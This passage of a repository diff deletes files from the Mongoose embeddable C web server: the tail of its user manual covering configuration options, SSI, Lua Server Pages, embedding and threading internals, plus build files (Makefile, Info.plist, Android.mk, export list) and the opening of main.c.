of name=value pairs, like this: `VARIABLE1=VALUE1,VARIABLE2=VALUE2`.
### put\_delete\_auth\_file
Passwords file for PUT and DELETE requests. Without it, PUT and DELETE requests
will fail.
### cgi_interpreter
Path to an executable to use as CGI interpreter for __all__ CGI scripts
regardless script extension. If this option is not set (which is a default),
Mongoose looks at first line of a CGI script,
[shebang line](http://en.wikipedia.org/wiki/Shebang_(Unix\)), for an interpreter.
For example, if both PHP and perl CGIs are used, then
`#!/path/to/php-cgi.exe` and `#!/path/to/perl.exe` must be first lines of the
respective CGI scripts. Note that paths should be either full file paths,
or file paths relative to the current working directory of mongoose server.
If mongoose is started by mouse double-click on Windows, current working
directory is a directory where mongoose executable is located.
If all CGIs use the same interpreter, for example they are all PHP, then
`cgi_interpreter` can be set to the path to `php-cgi.exe` executable and
shebang line in the CGI scripts can be omitted.
Note that PHP scripts must use `php-cgi.exe` executable, not `php.exe`.
### protect_uri
Comma separated list of URI=PATH pairs, specifying that given
URIs must be protected with respected password files. Paths must be full
file paths.
### authentication_domain `mydomain.com`
Authorization realm used in `.htpasswd` authorization.
### ssi_pattern `**.shtml$|**.shtm$`
All files that match `ssi_pattern` are treated as SSI.
Server Side Includes (SSI) is a simple interpreted server-side scripting
language which is most commonly used to include the contents of a file into
a web page. It can be useful when it is desirable to include a common piece
of code throughout a website, for example, headers and footers.
In order for a webpage to recognize an SSI-enabled HTML file, the filename
should end with a special extension, by default the extension should be
either `.shtml` or `.shtm`.
Unknown SSI directives are silently ignored by mongoose. Currently, two SSI
directives are supported, `<!--#include ...>` and
`<!--#exec "command">`. Note that `<!--#include ...>` directive supports
three path specifications:
<!--#include virtual="path"> Path is relative to web server root
<!--#include abspath="path"> Path is absolute or relative to
web server working dir
<!--#include file="path">, Path is relative to current document
<!--#include "path">
The `include` directive may be used to include the contents of a file or the
result of running a CGI script. The `exec` directive is used to execute a
command on a server, and show command's output. Example:
<!--#exec "ls -l" -->
For more information on Server Side Includes, take a look at the Wikipedia:
[Server Side Includes](http://en.wikipedia.org/wiki/Server_Side_Includes)
### throttle
Limit download speed for clients. `throttle` is a comma-separated
list of key=value pairs, where key could be:
* limit speed for all connections
x.x.x.x/mask limit speed for specified subnet
uri_prefix_pattern limit speed for given URIs
The value is a floating-point number of bytes per second, optionally
followed by a `k` or `m` character, meaning kilobytes and
megabytes respectively. A limit of 0 means unlimited rate. The
last matching rule wins. Examples:
*=1k,10.0.0.0/8=0 limit all accesses to 1 kilobyte per second,
but give connections from 10.0.0.0/8 subnet
unlimited speed
/downloads/=5k limit accesses to all URIs in `/downloads/` to
5 kilobytes per secods. All other accesses are unlimited
### access\_log\_file
Path to a file for access logs. Either full path, or relative to current
working directory. If absent (default), then accesses are not logged.
### error\_log\_file
Path to a file for error logs. Either full path, or relative to current
working directory. If absent (default), then errors are not logged.
### enable\_directory\_listing `yes`
Enable directory listing, either `yes` or `no`.
### enable\_keep\_alive `no`
Enable connection keep alive, either `yes` or `no`.
Experimental feature. Allows clients to reuse TCP connection for
subsequent HTTP requests, which improves performance.
For this to work when using request handlers it's important to add the correct
Content-Length HTTP header for each request. If this is forgotten the client
will time out.
### global\_auth\_file
Path to a global passwords file, either full path or relative to the current
working directory. If set, per-directory `.htpasswd` files are ignored,
and all requests are authorised against that file.
The file has to include the realm set through `authentication_domain` and the password in digest format:
user:realm:digest
test:test.com:ce0220efc2dd2fad6185e1f1af5a4327
(e.g. use [this generator](http://www.askapache.com/online-tools/htpasswd-generator))
### index_files `index.html,index.htm,index.cgi,index.shtml,index.php`
Comma-separated list of files to be treated as directory index
files.
### access\_control\_list
An Access Control List (ACL) allows restrictions to be put on the list of IP
addresses which have access to the web server. In the case of the Mongoose
web server, the ACL is a comma separated list of IP subnets, where each
subnet is prepended by either a `-` or a `+` sign. A plus sign means allow,
where a minus sign means deny. If a subnet mask is omitted, such as `-1.2.3.4`,
this means to deny only that single IP address.
Subnet masks may vary from 0 to 32, inclusive. The default setting is to allow
all accesses. On each request the full list is traversed, and
the last match wins. Examples:
-0.0.0.0/0,+192.168/16 deny all acccesses, only allow 192.168/16 subnet
To learn more about subnet masks, see the
[Wikipedia page on Subnetwork](http://en.wikipedia.org/wiki/Subnetwork)
### extra\_mime\_types
Extra mime types to recognize, in form `extension1=type1,exten-
sion2=type2,...`. Extension must include dot. Example:
`.cpp=plain/text,.java=plain/text`
### listening_ports `8080`
Comma-separated list of ports to listen on. If the port is SSL, a
letter `s` must be appeneded, for example, `80,443s` will open
port 80 and port 443, and connections on port 443 will be SSL-ed.
For non-SSL ports, it is allowed to append letter `r`, meaning 'redirect'.
Redirect ports will redirect all their traffic to the first configured
SSL port. For example, if `listening_ports` is `80r,443s`, then all
HTTP traffic coming at port 80 will be redirected to HTTPS port 443.
It is possible to specify an IP address to bind to. In this case,
an IP address and a colon must be prepended to the port number.
For example, to bind to a loopback interface on port 80 and to
all interfaces on HTTPS port 443, use `127.0.0.1:80,443s`.
### document_root `.`
A directory to serve. By default, currect directory is served. Current
directory is commonly referenced as dot (`.`).
### ssl_certificate
Path to SSL certificate file. This option is only required when at least one
of the `listening_ports` is SSL. The file must be in PEM format,
and it must have both private key and certificate, see for example
[ssl_cert.pem](https://github.com/valenok/mongoose/blob/master/build/ssl_cert.pem)
### num_threads `50`
Number of worker threads. Mongoose handles each incoming connection in a
separate thread. Therefore, the value of this option is effectively a number
of concurrent HTTP connections Mongoose can handle.
### run\_as\_user
Switch to given user credentials after startup. Usually, this option is
required when mongoose needs to bind on privileged port on UNIX. To do
that, mongoose needs to be started as root. But running as root is a bad idea,
therefore this option can be used to drop privileges. Example:
mongoose -listening_ports 80 -run_as_user nobody
### request\_timeout\_ms `30000`
Timeout for network read and network write operations, in milliseconds.
If client intends to keep long-running connection, either increase this value
or use keep-alive messages.
### url\_rewrite\_patterns
Comma-separated list of URL rewrites in the form of
`uri_pattern=file_or_directory_path`. When Mongoose receives the request,
it constructs the file name to show by combining `document_root` and the URI.
However, if the rewrite option is used and `uri_pattern` matches the
requested URI, then `document_root` is ignored. Insted,
`file_or_directory_path` is used, which should be a full path name or
a path relative to the web server's current working directory. Note that
`uri_pattern`, as all mongoose patterns, is a prefix pattern.
This makes it possible to serve many directories outside from `document_root`,
redirect all requests to scripts, and do other tricky things. For example,
to redirect all accesses to `.doc` files to a special script, do:
mongoose -url_rewrite_patterns **.doc$=/path/to/cgi-bin/handle_doc.cgi
Or, to imitate user home directories support, do:
mongoose -url_rewrite_patterns /~joe/=/home/joe/,/~bill=/home/bill/
### hide\_files\_patterns
A pattern for the files to hide. Files that match the pattern will not
show up in directory listing and return `404 Not Found` if requested. Pattern
must be for a file name only, not including directory name. Example:
mongoose -hide_files_patterns secret.txt|even_more_secret.txt
# Lua Server Pages
Pre-built Windows and Mac mongoose binaries have built-in Lua Server Pages
support. That means it is possible to write PHP-like scripts with mongoose,
using Lua programming language instead of PHP. Lua is known
for it's speed and small size. Mongoose uses Lua version 5.2.1, the
documentation for it can be found at
[Lua 5.2 reference manual](http://www.lua.org/manual/5.2/).
To create a Lua Page, make sure a file has `.lp` extension. For example,
let's say it is going to be `my_page.lp`. The contents of the file, just like
with PHP, is HTML with embedded Lua code. Lua code must be enclosed in
`<? ?>` blocks, and can appear anywhere on the page. For example, to
print current weekday name, one can write:
<p>
<span>Today is:</span>
<? mg.write(os.date("%A")) ?>
</p>
Note that this example uses function `mg.write()`, which prints data to the
web page. Using function `mg.write()` is the way to generate web content from
inside Lua code. In addition to `mg.write()`, all standard library functions
are accessible from the Lua code (please check reference manual for details),
and also information about the request is available in `mg.request_info` object,
like request method, all headers, etcetera. Please refer to
`struct mg_request_info` definition in
[mongoose.h](https://github.com/valenok/mongoose/blob/master/mongoose.h)
to see what kind of information is present in `mg.request_info` object. Also,
[page.lp](https://github.com/valenok/mongoose/blob/master/test/page.lp) and
[prime_numbers.lp](https://github.com/valenok/mongoose/blob/master/examples/lua/prime_numbers.lp)
contains some example code that uses `request_info` and other functions(form submitting for example).
Mongoose exports the following to the Lua server page:
mg.read() -- reads a chunk from POST data, returns it as a string
mg.write(str) -- writes string to the client
mg.include(path) -- sources another Lua file
mg.redirect(uri) -- internal redirect to a given URI
mg.onerror(msg) -- error handler, can be overridden
mg.version -- a string that holds Mongoose version
mg.request_info -- a table with request information
-- Connect to the remote TCP server. This function is an implementation
-- of simple socket interface. It returns a socket object with three
-- methods: send, recv, close, which are synchronous (blocking).
-- connect() throws an exception on connection error.
connect(host, port, use_ssl)
-- Example of using connect() interface:
local host = 'code.google.com' -- IP address or domain name
local ok, sock = pcall(connect, host, 80, 1)
if ok then
sock:send('GET /p/mongoose/ HTTP/1.0\r\n' ..
'Host: ' .. host .. '\r\n\r\n')
local reply = sock:recv()
sock:close()
-- reply now contains the web page https://code.google.com/p/mongoose
end
**IMPORTANT: Mongoose does not send HTTP headers for Lua pages. Therefore,
every Lua Page must begin with HTTP reply line and headers**, like this:
<? print('HTTP/1.0 200 OK\r\nContent-Type: text/html\r\n\r\n') ?>
<html><body>
... the rest of the web page ...
To serve Lua Page, mongoose creates Lua context. That context is used for
all Lua blocks within the page. That means, all Lua blocks on the same page
share the same context. If one block defines a variable, for example, that
variable is visible in the block that follows.
# Common Problems
- PHP doesn't work - getting empty page, or 'File not found' error. The
reason for that is wrong paths to the interpreter. Remember that with PHP,
correct interpreter is `php-cgi.exe` (`php-cgi` on UNIX). Solution: specify
full path to the PHP interpreter, e.g.:
`mongoose -cgi_interpreter /full/path/to/php-cgi`
- Mongoose fails to start. If Mongoose exits immediately when run, this
usually indicates a syntax error in the configuration file
(named `mongoose.conf` by default) or the command-line arguments.
Syntax checking is omitted from Mongoose to keep its size low. However,
the Manual should be of help. Note: the syntax changes from time to time,
so updating the config file might be necessary after executable update.
- Embedding with OpenSSL on Windows might fail because of calling convention.
To force Mongoose to use `__stdcall` convention, add `/Gz` compilation
flag in Visual Studio compiler.
# Embedding
Embedding Mongoose is easy. Copy
[mongoose.c](https://github.com/valenok/mongoose/blob/master/mongoose.c) and
[mongoose.h](https://github.com/valenok/mongoose/blob/master/mongoose.h)
to your application's source tree and include them in the build. For
example, your application's code lives in C file `my_app.c`, then on UNIX
this command embeds Mongoose:
$ ls
my_app.c mongoose.c mongoose.h
$ gcc my_app.c mongoose.c -o my_app -ldl -pthread
Somewhere in the application code, call `mg_start()` to start the server.
Pass configuration options and event handlers to `mg_start()`.
Mongoose then calls handlers when certain events happen.
For example, when new request arrives, Mongoose calls `begin_request`
handler function to let user handle the request. In the handler, user code
can get all information about the request -- parsed headers, etcetera.
Mongoose API is logically divided in three categories: server setup/shutdown
functions, functions to be used by user-written event handlers, and
convenience utility functions.
### Starting and stopping embedded web server
To start the embedded web server, call `mg_start()`. To stop it, call
`mg_stop()`.
// This structure needs to be passed to mg_start(), to let mongoose know
// which callbacks to invoke. For detailed description, see
// https://github.com/valenok/mongoose/blob/master/UserManual.md
struct mg_callbacks {
int (*begin_request)(struct mg_connection *);
void (*end_request)(const struct mg_connection *, int reply_status_code);
int (*log_message)(const struct mg_connection *, const char *message);
int (*init_ssl)(void *ssl_context);
int (*websocket_connect)(const struct mg_connection *);
void (*websocket_ready)(struct mg_connection *);
int (*websocket_data)(struct mg_connection *);
const char * (*open_file)(const struct mg_connection *,
const char *path, size_t *data_len);
void (*init_lua)(struct mg_connection *, void *lua_context);
void (*upload)(struct mg_connection *, const char *file_name);
int (*http_error)(struct mg_connection *, int status);
};
[hello.c](https://github.com/valenok/mongoose/blob/master/examples/hello.c)
provides a minimalistic example.
Common pattern is to implement `begin_request` callback, and serve static files
from memory, and/or construct dynamic replies on the fly. Here is
my [embed.c](https://gist.github.com/valenok/4714740) gist
that shows how to easily any data can be embedded
directly into the executable. If such data needs to be encrypted, then
encrypted database or encryption dongles would be a better choice.
# Build on Android
This is a small guide to help you run mongoose on Android. Currently it is
tested on the HTC Wildfire. If you have managed to run it on other devices
as well, please comment or drop an email in the mailing list.
Note : You dont need root access to run mongoose on Android.
- Download the source from the Downloads page.
- Download the Android NDK from [http://developer.android.com/tools/sdk/ndk/index.html](http://developer.android.com/tools/sdk/ndk/index.html)
- Run `/path-to-ndk/ndk-build -C /path-to-mongoose/build`
That should generate mongoose/lib/armeabi/mongoose
- Using the adb tool (you need to have Android SDK installed for that),
push the generated mongoose binary to `/data/local` folder on device.
- From adb shell, navigate to `/data/local` and execute `./mongoose`.
- To test if the server is running fine, visit your web-browser and
navigate to `http://127.0.0.1:8080` You should see the `Index of /` page.
![screenshot](https://a248.e.akamai.net/camo.github.com/b88428bf009a2b6141000937ab684e04cc8586af/687474703a2f2f692e696d6775722e636f6d2f62676f6b702e706e67)
Notes:
- `jni` stands for Java Native Interface. Read up on Android NDK if you want
to know how to interact with the native C functions of mongoose in Android
Java applications.
- TODO: A Java application that interacts with the native binary or a
shared library.
# Mongoose internals
Mongoose is multithreaded web server. `mg_start()` function allocates
web server context (`struct mg_context`), which holds all information
about web server instance:
- configuration options. Note that mongoose makes internal copies of
passed options.
- SSL context, if any
- user-defined callbacks
- opened listening sockets
- a queue for accepted sockets
- mutexes and condition variables for inter-thread synchronization
When `mg_start()` returns, all initialization is quaranteed to be complete
(e.g. listening ports are opened, SSL is initialized, etc). `mg_start()` starts
two threads: a master thread, that accepts new connections, and several
worker threads, that process accepted connections. The number of worker threads
is configurable via `num_threads` configuration option. That number puts a
limit on number of simultaneous requests that can be handled by mongoose.
When master thread accepts new connection, a new accepted socket (described by
`struct socket`) it placed into the accepted sockets queue,
which has size of 20 (see [code](https://github.com/valenok/mongoose/blob/3892e0199e6ca9613b160535d9d107ede09daa43/mongoose.c#L486)). Any idle worker thread
can grab accepted sockets from that queue. If all worker threads are busy,
master thread can accept and queue up to 20 more TCP connections,
filling up the queue.
In the attempt to queue next accepted connection, master thread blocks
until there is space in a queue. When master thread is blocked on a
full queue, TCP layer in OS can also queue incoming connection.
The number is limited by the `listen()` call parameter on listening socket,
which is `SOMAXCONN` in case of Mongoose, and depends on a platform.
Worker threads are running in an infinite loop, which in simplified form
looks something like this:
static void *worker_thread() {
while (consume_socket()) {
process_new_connection();
}
}
Function `consume_socket()` gets new accepted socket from the mongoose socket
queue, atomically removing it from the queue. If the queue is empty,
`consume_socket()` blocks and waits until new sockets are placed in a queue
by the master thread. `process_new_connection()` actually processes the
connection, i.e. reads the request, parses it, and performs appropriate action
depending on a parsed request.
Master thread uses `poll()` and `accept()` to accept new connections on
listening sockets. `poll()` is used to avoid `FD_SETSIZE` limitation of
`select()`. Since there are only a few listening sockets, there is no reason
to use hi-performance alternatives like `epoll()` or `kqueue()`. Worker
threads use blocking IO on accepted sockets for reading and writing data.
All accepted sockets have `SO_RCVTIMEO` and `SO_SNDTIMEO` socket options set
(controlled by `request_timeout_ms` mongoose option, 30 seconds default) which
specify read/write timeout on client connection.
# Other Resources
- Presentation made by Arnout Vandecappelle at FOSDEM 2011 on 2011-02-06
in Brussels, Belgium, called
"Creating secure web based user interfaces for Embedded Devices"
([pdf](http://mind.be/content/110206_Web-ui.pdf) |
[odp](http://mind.be/content/110206_Web-ui.odp))
- Linux Journal article by Michel J.Hammel, 2010-04-01, called
[Mongoose: an Embeddable Web Server in C](http://www.linuxjournal.com/article/10680)
-20
View File
@@ -1,20 +0,0 @@
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>CFBundleExecutable</key> <string>Mongoose</string>
<key>CFBundlePackageType</key> <string>APPL</string>
<key>CFBundleTypeRole</key> <string>None</string>
<key>CFBundleIconFiles</key> <array>
<string>mongoose_16x16.png</string>
<string>mongoose_22x22.png</string>
<string>mongoose_32x32.png</string>
<string>mongoose_64x64.png</string>
</array>
<key>LSUIElement</key> <true/>
<key>RunAtLoad</key> <true/>
<key>Label</key> <string>com.kolkin.mongoose</string>
<key>ProgramArguments</key> <array> </array>
<key>KeepAlive</key> <true/>
</dict>
</plist>
-218
View File
@@ -1,218 +0,0 @@
# This Makefile is part of Mongoose web server project,
# https://github.com/valenok/mongoose
#
# This Makefile is GNU make compatible. You can get GNU Make from
# http://gnuwin32.sourceforge.net/packages/make.htm
#
# Example custom build:
# COPT="-g -O0 -DNO_SSL_DL -DUSE_LUA -llua -lcrypto -lssl" make linux
#
# Flags are:
# -DHAVE_MD5 - use system md5 library (-2kb)
# -DNDEBUG - strip off all debug code (-5kb)
# -DDEBUG - build debug version (very noisy) (+7kb)
# -DNO_CGI - disable CGI support (-5kb)
# -DNO_SSL - disable SSL functionality (-2kb)
# -DNO_SSL_DL - link against system libssl library (-1kb)
# -DCONFIG_FILE=\"file\" - use `file' as the default config file
# -DSSL_LIB=\"libssl.so.<version>\" - use system versioned SSL shared object
# -DCRYPTO_LIB=\"libcrypto.so.<version>\" - use system versioned CRYPTO so
# -DUSE_LUA - embed Lua in Mongoose (+100kb)
PROG = mongoose
CFLAGS = -std=c99 -O2 -W -Wall -pedantic -pthread -pipe -I.. $(COPT)
# To build with Lua, download and unzip Lua 5.2.1 source code into the
# mongoose directory, and then add $(LUA_SOURCES) to CFLAGS
LUA = ../lua-5.2.1/src
LUA_FLAGS = -DLUA_COMPAT_ALL
LUA_SOURCES = $(LUA)/lapi.c $(LUA)/lcode.c $(LUA)/lctype.c \
$(LUA)/ldebug.c $(LUA)/ldo.c $(LUA)/ldump.c \
$(LUA)/lfunc.c $(LUA)/lgc.c $(LUA)/llex.c \
$(LUA)/lmem.c $(LUA)/lobject.c $(LUA)/lopcodes.c \
$(LUA)/lparser.c $(LUA)/lstate.c $(LUA)/lstring.c \
$(LUA)/ltable.c $(LUA)/ltm.c $(LUA)/lundump.c \
$(LUA)/lvm.c $(LUA)/lzio.c $(LUA)/lauxlib.c \
$(LUA)/lbaselib.c $(LUA)/lbitlib.c $(LUA)/lcorolib.c \
$(LUA)/ldblib.c $(LUA)/liolib.c $(LUA)/lmathlib.c \
$(LUA)/loslib.c $(LUA)/lstrlib.c $(LUA)/ltablib.c \
$(LUA)/loadlib.c $(LUA)/linit.c
LUA_HEADERS = $(LUA)/llimits.h $(LUA)/lobject.h $(LUA)/lapi.h $(LUA)/lzio.h \
$(LUA)/ldo.h $(LUA)/ltm.h $(LUA)/lstate.h $(LUA)/lgc.h \
$(LUA)/lvm.h $(LUA)/ltable.h $(LUA)/lstring.h $(LUA)/lfunc.h \
$(LUA)/lundump.h $(LUA)/ldebug.h $(LUA)/lopcodes.h $(LUA)/llex.h \
$(LUA)/lparser.h $(LUA)/lcode.h $(LUA)/lmem.h $(LUA)/lctype.h
LUA_WINOBJS = $(LUA_SOURCES:%.c=%.obj)
ifneq ($(OS), Windows_NT)
LUA_FLAGS += -DLUA_USE_DLOPEN
endif
lua_5.2.1.c: lua_5.2.1.h
(echo '#define LUA_CORE' ; \
echo '#define LUA_LIB' ; \
echo '#define lobject_c' ; \
echo '#define lua_c' ; \
echo '#define ltable_c' ; \
echo '#include "lua_5.2.1.h"' ; \
cat $(LUA_HEADERS) $(LUA_SOURCES) | sed '/^#include "/d') > $@
lua_5.2.1.h:
cat $(LUA)/luaconf.h $(LUA)/lua.h $(LUA)/lauxlib.h $(LUA)/lualib.h | \
sed '/^#include "/d' > $@
# Stock windows binary builds with Lua and YASSL library.
YASSL = ../../cyassl-2.4.6
YASSL_FLAGS = -I $(YASSL) -I $(YASSL)/cyassl \
-D _LIB -D OPENSSL_EXTRA -D HAVE_ERRNO_H \
-D HAVE_GETHOSTBYNAME -D HAVE_INET_NTOA -D HAVE_LIMITS_H \
-D HAVE_MEMSET -D HAVE_SOCKET -D HAVE_STDDEF_H -D HAVE_STDLIB_H \
-D HAVE_STRING_H -D HAVE_SYS_STAT_H -D HAVE_SYS_TYPES_H
YASSL_SOURCES = \
$(YASSL)/src/internal.c $(YASSL)/src/io.c $(YASSL)/src/keys.c \
$(YASSL)/src/ssl.c $(YASSL)/src/tls.c $(YASSL)/ctaocrypt/src/hmac.c \
$(YASSL)/ctaocrypt/src/random.c $(YASSL)/ctaocrypt/src/sha.c \
$(YASSL)/ctaocrypt/src/sha256.c $(YASSL)/ctaocrypt/src/logging.c \
$(YASSL)/ctaocrypt/src/error.c $(YASSL)/ctaocrypt/src/rsa.c \
$(YASSL)/ctaocrypt/src/des3.c $(YASSL)/ctaocrypt/src/asn.c \
$(YASSL)/ctaocrypt/src/coding.c $(YASSL)/ctaocrypt/src/arc4.c \
$(YASSL)/ctaocrypt/src/md4.c $(YASSL)/ctaocrypt/src/md5.c \
$(YASSL)/ctaocrypt/src/dh.c $(YASSL)/ctaocrypt/src/dsa.c \
$(YASSL)/ctaocrypt/src/pwdbased.c $(YASSL)/ctaocrypt/src/aes.c \
$(YASSL)/ctaocrypt/src/md2.c $(YASSL)/ctaocrypt/src/ripemd.c \
$(YASSL)/ctaocrypt/src/sha512.c $(YASSL)/src/sniffer.c \
$(YASSL)/ctaocrypt/src/rabbit.c $(YASSL)/ctaocrypt/src/misc.c \
$(YASSL)/ctaocrypt/src/tfm.c $(YASSL)/ctaocrypt/src/integer.c \
$(YASSL)/ctaocrypt/src/ecc.c $(YASSL)/src/ocsp.c $(YASSL)/src/crl.c \
$(YASSL)/ctaocrypt/src/hc128.c $(YASSL)/ctaocrypt/src/memory.c
ALL_SOURCES = ../mongoose.c main.c sqlite3.c lsqlite3.c lua_5.2.1.c \
$(YASSL_SOURCES)
ALL_OBJECTS = $(ALL_SOURCES:%.c=%.o)
ALL_WINOBJS = $(ALL_SOURCES:%.c=%.obj)
SQLITE_FLAGS = -DTHREADSAFE=1 -DSQLITE_ENABLE_FTS3 -DSQLITE_ENABLE_FTS3_PARENTHESIS
MONGOOSE_FLAGS = -DNO_SSL_DL -DUSE_LUA -DUSE_LUA_SQLITE3 -I.. $(COPT)
FLAGS = $(MONGOOSE_FLAGS) $(SQLITE_FLAGS) $(YASSL_FLAGS) $(LUA_FLAGS)
# Using Visual Studio 6.0. To build Mongoose:
# Set MSVC variable below to where VS 6.0 is installed on your system
# Run "PATH_TO_VC6\bin\nmake windows"
MSVC = ../../vc6
#DBG = /Zi /Od
DBG = /DNDEBUG /O1
CL = $(MSVC)/bin/cl /MD /TC /nologo $(DBG) /W3 /GA /I$(MSVC)/include
LINK_FLAGS = /incremental:no /libpath:$(MSVC)/lib /machine:IX86 \
user32.lib shell32.lib comdlg32.lib ws2_32.lib advapi32.lib
LINK = $(MSVC)/bin/link $(LINK_FLAGS)
all:
@echo "make (linux|bsd|solaris|mac|windows|mingw|cygwin)"
%.obj: %.c
$(CL) /c $(FLAGS) /Fo$@ $<
%.o: %.c
$(CC) -o $@ $< -c $(FLAGS) $(CFLAGS)
# Lua library for Windows
lua.lib: $(LUA_WINOBJS)
$(MSVC)/bin/lib /out:$@ $(LUA_WINOBJS)
# To build with lua, make sure you have Lua unpacked into lua-5.2.1 directory
linux_lua: $(ALL_OBJECTS)
$(CC) $(ALL_OBJECTS) -o $(PROG) -ldl
mongoose.o: mod_lua.c
# Make sure that the compiler flags come last in the compilation string.
# If not so, this can break some on some Linux distros which use
# "-Wl,--as-needed" turned on by default in cc command.
# Also, this is turned in many other distros in static linkage builds.
linux:
$(CC) ../mongoose.c main.c -o $(PROG) -ldl $(CFLAGS)
mac: bsd
bsd:
$(CC) ../mongoose.c main.c -o $(PROG) $(CFLAGS)
bsd_lua: $(ALL_OBJECTS)
$(CC) $(ALL_OBJECTS) -o $@
solaris:
$(CC) ../mongoose.c main.c -lnsl -lsocket -o $(PROG) $(CFLAGS)
lib$(PROG).a: $(ALL_OBJECTS)
ar cr $@ $(ALL_OBJECTS)
$(PROG).lib: $(ALL_WINOBJS)
$(MSVC)/bin/lib /out:$@ $(ALL_WINOBJS)
# For codesign to work in non-interactive mode, unlock login keychain:
# security unlock ~/Library/Keychains/login.keychain
# See e.g. http://lists.apple.com/archives/apple-cdsa/2008/Jan/msg00027.html
Mongoose: ../mongoose.c main.c
$(CC) $(ALL_SOURCES) \
-DUSE_COCOA $(CFLAGS) $(FLAGS) -mmacosx-version-min=10.4 \
-framework Cocoa -ObjC -arch i386 -arch x86_64 -o Mongoose
cocoa: Mongoose
V=`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' ../mongoose.c`; DIR=dmg/Mongoose.app && rm -rf $$DIR && mkdir -p $$DIR/Contents/{MacOS,Resources} && install -m 644 mongoose_*.png $$DIR/Contents/Resources/ && install -m 644 Info.plist $$DIR/Contents/ && install -m 755 Mongoose $$DIR/Contents/MacOS/ && ln -fs /Applications dmg/ ; hdiutil create Mongoose_$$V.dmg -volname "Mongoose $$V" -srcfolder dmg -ov #; rm -rf dmg
un:
$(CC) ../test/unit_test.c -o unit_test lua_5.2.1.c $(CFLAGS) -g -O0
./unit_test
wi:
$(CL) test/unit_test.c $(LUA_SOURCES) $(LUA_FLAGS) \
$(YASSL_SOURCES) $(YASSL_FLAGS) /I. /DNO_SSL_DL \
/link /libpath:$(MSVC)/lib advapi32.lib /out:unit_test.exe
./unit_test.exe
windows: $(ALL_WINOBJS)
$(MSVC)/bin/rc res.rc
$(LINK) /nologo $(ALL_WINOBJS) res.res /out:$(PROG).exe
windows_tiny: $(ALL_SOURCES)
$(MSVC)/bin/rc res.rc
$(CL) /nologo ../mongoose.c main.c /I.. \
/link $(LINK_FLAGS) res.res /out:$(PROG)-tiny.exe
# Build for Windows under MinGW
#MINGWDBG= -DDEBUG -O0 -ggdb
MINGWDBG= -DNDEBUG -Os
MINGWOPT= -W -Wall -mthreads -Wl,--subsystem,console $(MINGWDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
mingw:
windres res.rc res.o
$(CC) $(MINGWOPT) ../mongoose.c -lws2_32 \
-shared -Wl,--out-implib=$(PROG).lib -o $(PROG).dll
$(CC) $(MINGWOPT) ../mongoose.c main.c res.o \
-lws2_32 -ladvapi32 -lcomdlg32 -o $(PROG).exe
# Build for Windows under Cygwin
#CYGWINDBG= -DDEBUG -O0 -ggdb
CYGWINDBG= -DNDEBUG -Os
CYGWINOPT= -W -Wall -mthreads -Wl,--subsystem,console $(CYGWINDBG) -DHAVE_STDINT $(GCC_WARNINGS) $(COPT)
cygwin:
windres res.rc res.o
$(CC) $(CYGWINOPT) ../mongoose.c -lws2_32 \
-shared -Wl,--out-implib=$(PROG).lib -o $(PROG).dll
$(CC) $(CYGWINOPT) -I.. ../mongoose.c main.c res.o \
-lws2_32 -ladvapi32 -o $(PROG).exe
tests:
perl ../test/test.pl $(TEST)
tarball: clean
F=mongoose-`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' ../mongoose.c`.tgz ; cd ../.. && tar -czf x mongoose/{LICENSE,*.[ch]} && mv x mongoose/build/$$F
release: tarball cocoa
wine make windows windows_tiny
V=`perl -lne '/define\s+MONGOOSE_VERSION\s+"(\S+)"/ and print $$1' ../mongoose.c`; upx mongoose.exe; upx mongoose-tiny.exe ; cp mongoose.exe mongoose-$$V.exe; cp mongoose-tiny.exe mongoose-tiny-$$V.exe; cp mongoose.exe mongoose_php_bundle/; zip -r mongoose-php-$$V.zip mongoose_php_bundle/
clean:
cd ../examples && $(MAKE) clean
rm -rf *.o *.core $(PROG) *.obj *.so $(PROG).txt *.dSYM *.tgz \
$(PROG).exe *.dll *.lib res.o res.RES *.dSYM *.zip *.pdb \
*.exe *dmg* $(ALL_OBJECTS) $(ALL_WINOBJS)
-15
View File
@@ -1,15 +0,0 @@
LIBRARY
EXPORTS
mg_start
mg_stop
mg_read
mg_write
mg_printf
mg_get_header
mg_get_var
mg_get_cookie
mg_get_option
mg_get_valid_option_names
mg_version
mg_modify_passwords_file
mg_md5
-6
View File
@@ -1,6 +0,0 @@
LOCAL_PATH := $(call my-dir)/../..
include $(CLEAR_VARS)
LOCAL_CFLAGS := -std=c99 -O2 -W -Wall -pthread -pipe $(COPT)
LOCAL_MODULE := mongoose
LOCAL_SRC_FILES := main.c mongoose.c
include $(BUILD_EXECUTABLE)
-1883
View File
File diff suppressed because it is too large. Load diff
-17698
View File
File diff suppressed because it is too large. Load diff
-1247
View File
File diff suppressed because it is too large. Load diff
-985
View File
@@ -1,985 +0,0 @@
// Copyright (c) 2004-2013 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
#if defined(_WIN32)
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
#else
#define _XOPEN_SOURCE 600 // For PATH_MAX on linux
#endif
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <errno.h>
#include <limits.h>
#include <stddef.h>
#include <stdarg.h>
#include <ctype.h>
#include "mongoose.h"
#ifdef _WIN32
#include <windows.h>
